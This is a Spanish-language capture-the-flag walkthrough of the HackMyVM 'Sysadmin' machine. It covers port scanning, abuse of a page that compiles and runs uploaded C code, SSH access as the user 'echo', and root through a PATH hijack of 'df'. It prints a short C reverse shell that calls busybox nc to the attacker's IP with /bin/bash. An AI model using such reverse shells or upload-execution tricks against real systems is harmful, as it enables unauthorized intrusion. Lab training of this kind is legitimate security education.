Sysadmin

Máquina de hackmyvm de dificultad fácil de la plataforma HackMyVM

Comprobación

Empezamos creando una carpeta con el nombre de la maquina y ejecutando el comando “maquina” el cual es una funcion definida en nuestra zshrc el cual crea dos carpetas

Antes de pasar con el reconocimiento vamos a comprobar cual es la ip de la maquina con nuestra herramienta “scanCTF.sh”

Una vez que tenemos la ip de la maquina le vamos a realizar un ping para ver si se ven nuestra maquina victima y nuestra maquina atacante

Ahora que sabemos que se ven vamos a proceder con el reconocimiento

Escaneo de puertos

Empezamos con un escaneo rapido de puertos, con un min rate de 5000 paquetes, un ataque sigiloso, sin resolucion dns, sin host-discovery y reportando los resultado al archivo “puertos_” el cual vamos a tratar ahora con nuestra herramienta “portsClean.sh”

Pasamos a tratar el archivo “puertos_” con nuestra herramienta, la cual nos reporta la informacion mas bonita y nos copia los puertos en la clipboard para que en siguiente escaneo no tengamos que copiarlos a mano

Genial pues vemos que estan los puertos 22 y 80 abiertos por lo que vamos a hacerle un escaneo un poco mas especifico a estos puertos

Cuando termine, vamos a ver el archivo que nos ha generado “versiones” el cual contiene todo lo que nos muestra por pantalla ese comando de nmap

Recordad que yo puedo ver asi el archivo (con estos colores) por que utilizo un bat como alias de cat

Por ahi podemos ver que esta corriendo un ssh y un apache

El apache parece que es algo de subida de codigo en C (lo se por el http-title que me ha reportado nmap) por lo que vamos a meternos en la web para ver de que se trata

Antes de pasar a ver la pagina web vamos a realizar dos operaciones

La primera de todas es ver que tecnologias corren para esta pagina web con whatweb (la cual es como un wappalyzer solo que desde consola)

Bueno no nos reporta nada nuevo, realmente el titutlo de la pagina ya nos lo habia reportado nmap

Y por ultimo antes de poder pasar a ver la web es realizar un pequeño fuzzing con un script de nmap

No nos encuentra tampoco nada asi que pasamos a ver la pagina web directamente

Web

La pagina web parece que nos deja subir un fichero y nos lo ejecuta

Revisando por detras la web, he visto un comentario con lo siguiente

Parece que es un comando de linux el cual lo que hace es compilar un archivo y generar un ejecutable

Tiene pinta de que es la instruccion que se esta ejecutando

Vale he estado probando y no permite archivos que no sean .c

Podemos probar a subir una reverse shell en c, para ver si nos lo ejecuta, este es el codigo de la reverse shell que subi

int system(const char *command);

int main() {

system(“busybox nc 192.168.1.155 9001 -e /bin/bash”);

return 0;

}

Asi que nos vamos a poner en escucha por el puerto 9001 y vamos a ver si se nos entabla la reverse shell

Despues de un rato esperando se entablo la conexión pero a los 2, 3 segundos se quito automaticamente

Esto es raro, pero igual por detras hay un limite de tiempo para la ejecucion del codigo que le pasamos o algo asi

Vamos a probar a ejecutar comandos en ese corto tiempo en el que se entabla la conexion, por lo que subimos de nuevo el archivo y esperamos

Despues de un rato esperando, muestra que estamos ejecutando comandos como el usuario “echo”

Sabiendo esto lo que podemos hacer es intentar entablarnos una reverse shell con ese pequeño lapsus de tiempo que tenemos

Pero ahi vemos que nos expulsa por lo que esta forma no funciona

Viendo que podemos ejecutar comandos pero que no nos deja entablar una conexion, una cosa que podemos hacer es para empezar ver donde estamos y que hay en el directorio en el que estamos

Ahora que sabemos esto, vamos a crear un par de claves por ssh y vamos a conectarnos por ssh con el usuario “echo”

Nos ponemos en escucha y lo que hacemos es poner ese comando que crea un par de claves ssh sin contraseña y nos reporta la clave privada por lo que vamos a poder conectarnos sin contraseña al usuario “echo”

Ahora guardamos esa clave en un archivo e intentamos conectarnos

PD: Cada vez que ejecutabamos un nc es por que subiamos el archivo de reverse.c y si veis en las ultimas capturas que la ip ha cambiado a la 192.168.1.171 es por que tuve que reiniciar la ctf y cambio la ip

Escalada de privilegios

Ahora que estamos como el usuario “echo” podemos ver su flag que es la siguiente

Ahora que tenemos la flag, voy a buscar un modo de escalar a root

Al hacer un sudo -l nos sale lo siguiente

Es un script el cual contiene lo siguiente

Despues de revisarlo, veo que el comando “df” se esta ejecutando sin su ruta absoluta por lo que podemos ver si podemos efectuar un path hijack

Para ello nos vamos al directorio /tmp y aqui vamos a crear un archivo igual que el binario que esta buscando el script, es decir “df”

Dentro de este vamos a escribir lo siguiente

Basicamente una reverse shell que al ejecutarlo el usuario root vamos a recibir una shell como este usuario por el puerto 1212

Antes de ejecutar el script vamos a añadir la ruta /tmp dentro del path para que sea la primera ruta en la que se busca el binario df

Ahora que la ruta /tmp esta en el path, vamos a ponernos en escucha por el puerto 1212 y vamos a ver si nos devuelve la shell

PD: Dadle permisos de ejecucion al script “df” por que sino no lo pilla y no os lo ejecuta

Y ahi tenemos la flag del usuario root

Start searching

Enter keywords to search articles

↑↓
ESC
⌘K Shortcut